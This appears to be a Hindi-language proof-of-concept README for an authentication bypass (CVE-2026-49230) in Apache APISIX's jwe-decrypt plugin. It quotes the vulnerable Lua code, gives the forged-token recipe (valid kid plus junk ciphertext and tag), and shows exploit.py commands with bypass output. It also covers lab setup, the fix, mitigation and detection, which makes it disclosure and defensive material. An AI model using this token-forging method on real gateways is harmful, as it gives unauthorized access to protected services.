
CVE-2026-49230 के लिए PoC: Apache APISIX jwe-decrypt प्रमाणीकरण बाईपास (AES-GCM टैग सत्यापन का अभाव, CWE-354, CVSS 9.1)
jwe-decrypt प्रमाणीकरण बाईपासApache APISIX jwe-decrypt प्लगइन में प्रमाणीकरण बाईपास का प्रूफ ऑफ कॉन्सेप्ट। यह प्लगइन एक JWE टोकन को डिक्रिप्ट करता है और उसके प्लेनटेक्स्ट को अपस्ट्रीम को अग्रेषित करता है, जो एक प्रमाणीकरण गेट के रूप में कार्य करता है — लेकिन यह AES-GCM प्रमाणीकरण टैग को कभी मान्य नहीं करता। एक टोकन जिसमें केवल एक वैध उपभोक्ता kid होता है, उसे स्वीकार कर लिया जाता है, चाहे उसका सिफरटेक्स्ट और टैग कितना भी जाली क्यों न हो, इसलिए एक हमलावर जो किसी भी उपभोक्ता कुंजी को जानता है — जो प्रत्येक वैध टोकन के हेडर में स्पष्ट पाठ में यात्रा करता है — AES गुप्त कुंजी जाने बिना गेट पार कर जाता है।
| CVE | CVE-2026-49230 |
| उत्पाद | Apache APISIX (jwe-decrypt प्लगइन) |
| प्रभावित संस्करण | 3.8.0 – 3.16.0 |
| सुधार संस्करण | 3.17.0 |
| श्रेणी | CWE-354 — अखंडता जांच मान का अनुचित सत्यापन |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| प्रमाणीकरण | अप्रमाणित (एक वैध उपभोक्ता kid की आवश्यकता, गुप्त कुंजी नहीं) |
| प्रकाशित | 2026-06-19 |
| स्थिति | पुष्टि की गई — 3.16.0 पर एंड-टू-एंड पुनरुत्पादित; 3.17.0 पर अस्वीकृत |
apisix/plugins/jwe-decrypt.lua (टैग 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() जब GCM प्रमाणीकरण टैग मेल नहीं खाता है तो nil लौटाता है, लेकिन वह रिटर्न मान छोड़ दिया जाता है और कॉलर एक गैर-मौजूद err का निरीक्षण करता है, जो हमेशा nil होता है। इसलिए अखंडता जांच कभी लागू नहीं की जाती: एक समाधान योग्य kid वाला कोई भी JWE प्रमाणीकृत हो जाता है। AES गुप्त कुंजी — एकमात्र चीज जो हमलावर के पास नहीं होनी चाहिए — वास्तव में कभी आवश्यक नहीं होती है।
3.17.0 में फिक्स त्रुटि को प्रचारित करता है (return decrypted, err) और गार्ड को if not plaintext then return 400 में बदल देता है। यही फिक्स प्लगइन के सार्वजनिक GET /apisix/plugin/jwe/encrypt टोकन-मिंटिंग API को भी हटा देता है।
पूर्ण कोड-स्तरीय वॉकथ्रू के लिए ANALYSIS.md देखें।
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
जाली टोकन base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag है। केवल हेडर (एक वैध kid के साथ) मायने रखता है; इसके बाद सब कुछ हमलावर द्वारा चुना गया कबाड़ है।
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
इस वातावरण में कोई Docker ब्रिज नहीं है, इसलिए लैब --network host का उपयोग करता है (etcd :2379 पर, APISIX डेटा प्लेन :9080, एडमिन :9180, बैकएंड :8080 पर)।
GCM अखंडता जांच को छोड़कर हर नियंत्रण लागू किया जाता है, और समान जाली टोकन फिक्स सीमा पर 200 से 400 में बदल जाता है — बाईपास विशेष रूप से गायब अखंडता सत्यापन है, न कि गलत कॉन्फ़िगर किया गया रूट। पूर्ण प्रतिलेख EVIDENCE.txt में।
कोई भी अपस्ट्रीम जो प्रमाणीकरण के लिए APISIX के jwe-decrypt गेट पर भरोसा करता है, एक अप्रमाणित हमलावर तक पहुंच सकता है जिसके पास एक भी वैध उपभोक्ता kid है। क्योंकि एक वैध kid प्रत्येक वैध रूप से जारी टोकन के JWE हेडर के अंदर स्पष्ट पाठ में उजागर होती है, एक कब्जा या लीक किया गया टोकन — या एक अनुमान लगाने योग्य उपभोक्ता कुंजी — असीमित स्वीकृत टोकन जाली बनाने और गेटवे की प्रमाणीकरण सीमा को बायपास करने के लिए पर्याप्त है।
jwe-decrypt को एकमात्र प्रमाणीकरण नियंत्रण के रूप में भरोसा न करें; एक स्वतंत्र प्रमाणीकरण प्लगइन (जैसे key-auth/jwt-auth) या एक अपस्ट्रीम जांच जो अग्रेषित पहचान को मान्य करती है, को स्तरित करें।ऐसे अनुरोध जो jwe-decrypt के माध्यम से प्रमाणीकृत होते हैं लेकिन अपस्ट्रीम को एक खाली/अनुपस्थित पहचान हेडर अग्रेषित करते हैं (डिक्रिप्शन ने चुपचाप nil उत्पन्न किया) एक मजबूत संकेत हैं। Authorization: Bearer <jwe> अनुरोधों पर नज़र रखें जो गेटवे को पास करते हैं जबकि अपस्ट्रीम को कोई उपयोगी अग्रेषित हेडर नहीं मिलता है।
अनुसंधान और PoC Caio Fabrício (@BiiTts) द्वारा।
MIT — LICENSE देखें।
| अनुरोध | 3.16.0 (कमजोर) | 3.17.0 (पैच किया गया) |
|---|
| कोई टोकन नहीं | 403 missing JWE token | — |
| विकृत टोकन (<5 भाग) | 400 JWE token invalid | — |
अमान्य kid + कबाड़ क्रिप्टो | 400 invalid kid | — |
वैध kid + कबाड़ क्रिप्टो | 200 अपस्ट्रीम पहुंच गया | 400 failed to decrypt |